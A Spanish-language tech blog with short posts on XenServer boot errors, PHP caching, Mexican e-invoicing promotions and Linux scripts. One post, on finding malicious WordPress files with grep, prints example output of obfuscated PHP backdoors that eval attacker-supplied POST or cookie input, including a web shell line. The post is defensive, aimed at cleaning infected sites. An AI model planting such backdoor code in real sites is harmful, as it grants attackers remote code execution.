lunes, 14 de septiembre de 2015

Solucion XenServer The bootloader for this VM returned an error -- did the VM installation succeed? Unable to find partition containing kernel

Solucion al iniciar la maquina virtual con ERROR : The bootloader for this VM returned an error -- did the VM installation succeed?  Unable to find partition containing kernel


Solo ejecuta

# xe vm-param-set uuid={UUID VM}  HVM-boot-policy="" PV-bootloader=pygrub

y listo

viernes, 11 de septiembre de 2015

Como volver a montar un disco en xenserver

Les dejo este buen tutorial

Esto aplica cuando formateas, cambias de disco a un nuevo equipo o por algun motivo se desmonto el disco

https://www.schirmacher.de/display/INFO/How+to+reattach+a+disk+to+XenServer

Una vez montado hay que importar los disco de las VM,  aqui una buena guia

http://guzmanweb.com.ar/blog/?p=1115

Si los Templates por default desaparecierón con este comando los recuperan

# /opt/xensource/libexec/create_templates


miércoles, 9 de septiembre de 2015

Solucion XenServer "Internal error: there is no bootable device"

Xen Server error Disco No Booteable

En linea de comandos realiza lo siguiente.

# xe  vm-disk-list uuid={UUID VM}

Disk 0 VBD:                                                             
uuid ( RO)             : b321820c-0188-488c-c94b-a8bbcbdf9b9b           
    vm-name-label ( RO): _JOSUE CPANEL CentOS 6.5 (64-bit)              
       userdevice ( RW): 1                                              


Disk 0 VDI:
uuid ( RO)             : 905b33bf-d54e-4d81-b6b2-af3af0d49bf2
       name-label ( RW): JOSUE BETA CPANEL BASE HOME2
    sr-name-label ( RO): DATOS
     virtual-size ( RO): 214748364800


Disk 1 VBD:
uuid ( RO)             : e78a04a1-2700-c99c-d962-834c2c2f97bc
    vm-name-label ( RO): _JOSUE CPANEL CentOS 6.5 (64-bit)
       userdevice ( RW): 0


Disk 1 VDI:
uuid ( RO)             : 4c140207-4e7d-4754-834c-aa58e0807acc <-- mi disco        name-label ( RW): CentOS 6.5 (64-bit) 

     sr-name-label ( RO): DATOS
     virtual-size ( RO): 214748364800


# xe vbd-param-set uuid=4c140207-4e7d-4754-834c-aa58e0807acc bootable=true


y listo, dale iniciar a la VM





miércoles, 26 de agosto de 2015

Como imprimir un recibo de pensionados del ISSSTE

Sigue los siguientes pasos

  • ingresa a www.issste.gob.mx
  • Ve al menú servicios en linea
  • Selecciona comprobante de pago a pencionistas
  • Selecciona edad y tiempo
  • Escribe el número de pensión, este aparece en tu recibo
  • Escribe el código de deudo 100
  • Selecciona año mes
  • Botón buscar.
  • Listo !!!!




sábado, 22 de agosto de 2015

Punto de Venta Gratis (en la nube)

Punto de Venta Gratuito (en la nube)


Les comparto una terminal punto de venta con las opciones de:

  • Punto de Venta
  • Facturación Electrónica
  • Convertidor Ticket a Factura on line (el cliente solicita su factura)
  • Multi sucursal
  • Multi usuario con permisos restringidos
  • Tienda en línea básica
  • Nóminas 
  • Inventario básico
  • Contabilidad Electrónica (para septiembre/octubre 2015)
  • Portal de proveedores (para septiembre/octubre 2015)
  • Actualizaciónes gratuitas
  • entre otros...
El sistema es exclusivo para México.

Mayores informes www.multifacturas.com

Ofertas en facturacion electrónica CFDi

Oferta factura electrónica

Que les parece esta promoción,, 50% descuento en la primer compra; siendo una gran oportunidad para adquirir facturas económicas.


y tambien oportunidad a meses sin intereses


mayores informes en www.multifacturas.com

jueves, 13 de agosto de 2015

Ejemplo de APC Cache con PHP

Ejemplo de APC Cache con PHP


APC es un cache en RAM, sin usuario ni contraseña para su acceso, ideal para servidores dedicados propios;  usando bien el cache e logrado aumentar hasta 20 veces el desempeño en sistemas completos por ejemplo en ERP's

Ejemplo
////////  Código Original


  $resultado=123456.78; 


//////// Nuevo Código



//LEE SI EXISTE CACHE DEL ELEMENTO DESEADO
  $cache_nombre='datos_etapa_A_cliente_23'; // <-- referencia al elemento del cache
    if(function_exists('apc_fetch'))
    {
        $datos_recuperados = apc_fetch($cache_nombre);
    }

//SI NO HAY DATOS EN CACHE EJECUTA EL PROCESO
if(empty($datos_recuperados))

{
 // procesas informacion y obtienes un resultado

  $resultado=123456.78; 

//ALMACENA LOS DATOS PROCESADOS
    if(function_exists('apc_add'))
    {
        apc_add($cache_nombre, $resultado, 86400);// 86400 seg = 24hrs de cache
    }

 }


Recomendado usarlo en consultas a BD que sean muy frecuentes y no cambien con facilidad, por ejemplo:
  • Datos del Cliente
  • Consultas SQL repetitivas
  • Configuración general
  • entre otros...





viernes, 24 de julio de 2015

Facturacion Electrónica en Perú (SUNAT)

Facturacion Electrónica en Perú  (SUNAT)

Para generar (emitir) facturas electrónicas en perú el proceso tiene similitudes a México.

El proceso base es

  1. Generás un archivo XML con información de la factura.
  2. Generás un sello, el cual es como un sello de garantia y autenticidad
  3. Envías ese XML (Factura) a un proveedor autorizado por SUNAT
  4. Recibes la factura final, la cual imprimes o generas PDF para el cliente.

Para  recibir apoyo en el area visita www.facturacion-peru.com




martes, 23 de junio de 2015

¿Existe Latveria ?

¿Existe Latveria ?

Latveria es un pais inventado por marvell

Fragmento de Wikipedia

Latveria, es el nombre de un pequeño país centroeuropeo de ficción creado por Stan Lee y Jack Kirby en la serie de historietas de los 4 Fantásticos como parte del Universo Marvel. Tiene una superficie de 1 500 km² aproximadamente y que limita al norte con Hungría, al noreste con Rumania, al sur y sudoeste con Symkaria y al noreste con Serbia. Latveria es regido en la mayor parte de las aventuras Marvel por Victor Von Doom, mundialmente conocido como Doctor Doom, uno de los líderes más poderosos del mundo.

https://es.wikipedia.org/wiki/Latveria

¿Es posible que exista un pais tan pequeño?

Hoy me sorprendi al saber que si es posible, me acabo de enterar que existe Liechtenstein

Referencias


lunes, 20 de abril de 2015

Google Chrome en Centros 6,7 y root

Para instalarlo sigan estos pasos:


http://www.tecmint.com/install-google-chrome-on-redhat-centos-fedora-linux/


Para ejecutarlo estando como root están estas dos opciones:

http://www.itzgeek.com/how-tos/linux/centos-how-tos/how-to-run-google-chrome-as-root-fedora-16-centos-6-rhel-6.html#axzz3XsFiRJYZ

http://ubuntuforums.org/showthread.php?t=1743565



miércoles, 8 de abril de 2015

MySQL campo UNIXTIME a DATE

Para representar campos con fechas almacenadas como unixtime en formato de fecha normal es:


SELECT FROM_UNIXTIME(UNIX_TIMESTAMP(), '%Y-%m-%d');

SELECT FROM_UNIXTIME(UNIX_TIMESTAMP(), '%Y-%m-%d');

o

SELECT FROM_UNIXTIME(MI_CAMPO, '%Y-%m-%d')  FROM MI_TABLA;

espero les sirva.




miércoles, 25 de marzo de 2015

Como detectar archivos maliciosos en wordpress desde shell


Ejecuta estos comandos y te saldrán los sospechosos


Método 1

# cd /carpeta/sitio/afectado
#grep eval * -R | grep php  | grep '\[' | grep -v p_options | grep -v preg_match > /ruta/resultado1.txt


Método 2

# cd /carpeta/sitio/afectado
# grep -R  eval * | grep base64 | grep php > /ruta/resultado2.txt


 En /ruta/resultado1 y /ruta/resultado2 se encontrarán los sospechosos

algo como esto:


tiendadebuceo/admirote/tabs/AdminBackup.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q44ff8e'])){eval(${$s20}['q44ff8e']);}?><?php
tiendadebuceo/admirote/tabs/AdminImageResize.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n7a495f'])) {eval($s21(${$s20}['n7a495f']));}?><?php
tiendadebuceo/tools/smarty/internals/core.run_insert_handler.php:                $smarty->_eval($_params['php_resource']);
tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php
tiendadebuceo/discount.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n5dcf91'])) {eval($s21(${$s20}['n5dcf91']));}?><?php
tiendadebuceo/classes/PDF.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n3d7280'])) {eval($s21(${$s20}['n3d7280']));}?><?php
tiendadebuceo/classes/Scene.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q39ce7c'])){eval(${$s20}['q39ce7c']);}?><?php
tiendadebuceo/img/index.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828e00'])) {eval($s21(${$s20}['n828e00']));}?><?php
tiendadebuceo/img/iindex.php:    eval(base64_decode($_POST["p2"]));
tiendadebuceo/img/iindex.php:    eval($_POST["p1"]);
tiendadebuceo/modules/blockmanufacturer/fr.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nbfca8c'])) {eval($s21(${$s20}['nbfca8c']));}?><?php
tiendadebuceo/modules/blockmanufacturer/page.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf0b08a'])) {eval($s21(${$s20}['nf0b08a']));}?>
tiendadebuceo/modules/tm4b/es.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q9fa7a1'])){eval(${$s20}['q9fa7a1']);}?><?php
tiendadebuceo/modules/tm4b/cron.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nb182cc'])) {eval($s21(${$s20}['nb182cc']));}?><?php
tiendadebuceo/modules/article.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n0e7f9c'])) {eval($s21(${$s20}['n0e7f9c']));}?>
tiendadebuceo/modules/sekeywords/ini.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q760097'])){eval(${$s20}['q760097']);}?>
tiendadebuceo/modules/sendtoafriend/es.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q9fa7a1'])){eval(${$s20}['q9fa7a1']);}?><?php
tiendadebuceo/modules/blocknewsletter/en.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n9cce51'])) {eval($s21(${$s20}['n9cce51']));}?><?php
tiendadebuceo/modules/statsbestsuppliers/lib.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828043'])) {eval($s21(${$s20}['n828043']));}?>
wp-admin/network/users.php:    eval(base64_decode($_POST["p2"]));
wp-admin/network/users.php:    eval($_POST["p1"]);
wp-content/plugins/wp-super-cache/plugins/template.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q13e558'])){eval(${$s20}['q13e558']);}?>
wp-content/plugins/wp-super-cache/wp-cache-phase1.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n917e4c'])) {eval($s21(${$s20}['n917e4c']));}?><?php
wp-content/plugins/gravityforms/select_columns.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n75b45d'])) {eval($s21(${$s20}['n75b45d']));}?><?php
wp-content/plugins/gravityforms/js/javascript.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));}?>
wp-content/plugins/LayerSlider/helpers/press.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n33beb2'])) {eval($s21(${$s20}['n33beb2']));}?>
wp-content/plugins/LayerSlider/locales/header.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q1c1ae6'])){eval(${$s20}['q1c1ae6']);}?>
wp-includes/nav-menu.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qa89292'])){eval(${$s20}['qa89292']);}?><?php
wp-includes/class-wp-admin-bar.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n3c0260'])) {eval($s21(${$s20}['n3c0260']));}?><?php
wp-includes/load.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qd0bbf8'])){eval(${$s20}['qd0bbf8']);}?><?php
wp-includes/SimplePie/option.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qcdd94a'])){eval(${$s20}['qcdd94a']);}?>
wp-includes/options.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q6ae4d5'])){eval(${$s20}['q6ae4d5']);}?>
wp-includes/compat.php:<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['na68f2e'])) {eval($s21(${$s20}['na68f2e']));}?><?php 
 

En donde el verde es el unico archivo bueno.

Como solucionarlo?

eso depende de como sea el tipo de ataque,  si es un archivo 100% nocivo se elimina todo el archivo, si es un archivo bueno al cual le añadieron lineas de código solo hay que eliminar esas lineas.





lunes, 16 de marzo de 2015

Como crear un portal de Clientes Ticket a Factura

Como crear un portal de Clientes para crear Factura Electrónica a partir de un Ticket

Es comun en un punto de venta perder mucho tiempo si el cliente pide factura.

Es por ello que multiples compañias imprimen un código en los tickets el cual les permite crear una factura electrónica por medio de un portal.

esto se puede realizar por los siguientes métodos: 

Modo 1

Que tu software de punto de venta soporte esa opción.

Modo 2

Programar tu propio sistema y portal. a la medida.

Recomendación

En multifacturas ya se cuenta con aplicacion de punto de venta en la nube, el cual ya tiene integrado tickets, facturas y portal para convertir ticket a factura.  Además de multi usuario, multi sucursal, nómina, entre otros beneficios,

Si deseas programar tu propio sistema tambien cuentan con KIT de desarrollo el cual tiene ejemplos caside copiar y pegar.

Informes y demo  www.multifacturas.com





Recibos de Nómina ilimitados CFDi

Recibos de Nómina ilimitados CFDi

Les presento el nuevo servicio para generar recibos de nómina  (CFDi)

Se puede generar en modo manual o masivamente importando un excel.

mayores informes en www.nominailimitada.com


miércoles, 4 de marzo de 2015

Como pasar todas mis facturas a excel

Como pasar todas mis facturas a excel

Les comparto un programa que puede exportar todas tus facturas electrónicas CFDi

Los datos a exportar son TODOS los datos de la factura, excepto el desgloce de productos o servicios,


  • RFC emisor y receptor
  • Domicilio de Emisor , Receptor y Domicilio de Emision
  • total de impuestos transladados y retenidos  federales y locales
  • total, sub total, descuentos
  • serie y folio
  • UUID
  • entre otros datos.

Otra función es del mismo software es convertir CFDi a PDF masivamente.


espero les sirva.




domingo, 1 de marzo de 2015

Timbrado de Nomina CFDi en Excel

Timbrado de Nomina CFDi en Excel


Existen vamos modos de trabajar al momento de timbrar la nómina, los más comunes son:


  • Timbrado manual, en el seleccionas un empleado y creas su recibo de uno por uno.
  • Timbrado masivo, por ejemplo importar un excel que contenga toda la información de la nómina y se generen todos los recibos a la vez.
Ambas opciones y otras más las encuentras en la aplicación de facturación de www.multifacturas.com

Actualización
Ahora con soporte a nómina ilimitada





miércoles, 25 de febrero de 2015

Linux, Reporte de procesos que consumen más memoria RAM

Linux, Reporte de procesos que consumen más memoria RAM


Les comparto este script para detectar los procesos que consumen más memoria RAM,

Pueden utilizarlo en conjunto con webmin que tiene un modo de monitoreo para detectar memoria disponible, cuando llegue a un punto critico que ejecute el script

Crea un archivo llamado memoria_alta.sh  y agregale el siguiente contenido



echo "PID  MEM  CPU   CMD " > mem1.txt
ps aux | awk '{print $2, $4, $3,  $11}' | sort -k2rn | head -n 20 > mem2.txt
NOW=$(date +"%m_%d_%Y__%H_%M")
cat mem1.txt  mem2.txt  > reporte_memoria_alta_$NOW.txt
rm -f mem1.txt mem2.txt



Guardalo y dale permiso de ejecución, por ejemplo 755, 700, según tus necesidades

ejecutalo como

# ./memoria_alta.sh

o

# /ruta/memoria_alta.sh

creara un archivo llamado  reporte_memoria_alta_02_25_2015__09_30.txt el cual expresa el mes_dia_año_hora  que se genero, al leerlo aparecerán los 20 procesos que más consumen,, el cual puedes cambiar editando el número 20







viernes, 13 de febrero de 2015

Como descargar todas mis facturas del portal del SAT

Como descargar todas mis facturas del portal del SAT


Si te faltan facturas, perdiste el respaldo o simplemente deseas descargar todas tus facturas recibidas o emitidas necesitas entrar al portal de Mis Cuentas https://rfs.siat.sat.gob.mx/ y en la opción de Consultar Recuperar podrás descargar una por una


Si deseas descargar todas a la vez necesitas un programa de descarga masiva 


Espero les sirva.

martes, 3 de febrero de 2015

falla CloudLinux There is no data to display





falla estadisticas CloudLinux There is no data to display


La solución es ejecutar

# service lvestats stop
# mv /var/lve/lveinfo.db /var/lve/lveinfo.db.old
# yum reinstall lve-stats



espero les sirva.


miércoles, 28 de enero de 2015

Detectar navegadores de celulares y tablets con jQuery

Aquí una sencilla rutina en jQuery para ver que tipo de navegador usa el visitante.




if($.browser.device = (/android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(navigator.userAgent.toLowerCase())))
{
   alert('soy Android, iPhone, Black Berry, etc...');
}
else
{
    alert('Soy PC, OS X, Linux, etc...');
}





lunes, 26 de enero de 2015

Como sellar un CFDi con OpenSSL

Como sellar un CFDi con OpenSSL


Lo primero es generar el XML y su cadena original la cual la almacenamos en ruta_cadena.txt, también debemos de tener instalado openssl

Y ejecutamos:

openssl dgst -sha1 -sign ruta_key  ruta_cadena.txt | openssl enc -base64 -out ruta_resultado.txt

Este resultado se añadirá el XML original en su respectivo nodo.

Si batallas mejor te recomiendo la librería de www.multifacturas.com, esta:

  1. Genera el XML (CFD)
  2. Sella el CFD
  3. Timbra generando el CFDi
  4. Lo almacena en tu equipo
  5. Genera respaldo en la nube

El funcionamiento es sencillo,todos los datos de la factura o nomina se ingresan como variables y ejecutas una función que se encarga de todo el proceso.

También cuenta con múltiples ejemplos para factura, nomina, honorarios, colegios, hoteles, impuestos estatales, entre otros..



como timbrar nomina desde mi aplicacion (software)

Como timbrar nómina desde mi aplicacion (software)

Para generar un CFDi de nómina desde tu aplicación es sencillo por medio del KIT de desarrollo de www.multifacturas.com 

El proceso es sencillo

  1. Calculas tu nómina
  2. La información capturada la ingresas como variables en la librería
  3. Ejecutas una sola función la cual:
    • Genera el XML
    • Sella el XML
    • Valida información
    • Manda a timbrar
    • Almacena el timbre generado
    • Almacena copia en la nube.
  4. Todo Listo !!!

La librería es gratuita.

Descargala en multifacturas.com

Actualización marzo 2015
ahora con planes de nómina ilimitada

como sellar la cadena original?

¿Como sellar la cadena original?


La factura electrónica requiere sellar la cadena original, la mayoría la obtiene con el XSL esta en formato UTF-8

después con openssl se genera con SHA1 (parámetros  dgst -sha1 -sign ), este resultado esta en binario así que notaras muchos caracteres raros

Ahora se le aplicará Base64 quedando el sello finalizado

Aquí un ejemplo

openssl dgst -sha1 -sign ruta_key  ruta_cadena.txt | openssl enc -base64 -out ruta_resultado.txt



 Te recomiendo la librería de www.multifacturas.com esta al ejecutar una sola función

  • Genera el XML CFD
  • Sella el CFD
  • Timbra generando el CFDi
  • Lo almacena en tu equipo
  • Genera respaldo en la nube

El funcionamiento es sencillo,todos los datos de la factura se ingresan como variables y ejecutas una función que se encarga de todo el proceso.


jueves, 15 de enero de 2015

jquery generador de consultas SQL dinamico

Les comparto estas dos paginas que cuentan con un generador de consultas SQL dinámico, ideal para implementar en proyectos donde se requiera un reporteador

  • http://www.ksistem.com/jquery/sqlbuilderdemo.htm
  • http://redquerybuilder.appspot.com/
  • http://mistic100.github.io/jQuery-QueryBuilder/


Cerador de paginas con java script

Les comparto este generador de html/divs/css  con multiples elementos; en el generas una web rápidamente.

https://github.com/azexo/Azexo-Composer-WYSIWYG



Ejemplo de factura electrónica 2022 en Panamá (DGI)

Código fuente Facturación 2022 Panamá Panamá comenzó el proceso de migración a facturación electrónica,  actualmente ya salieron los primero...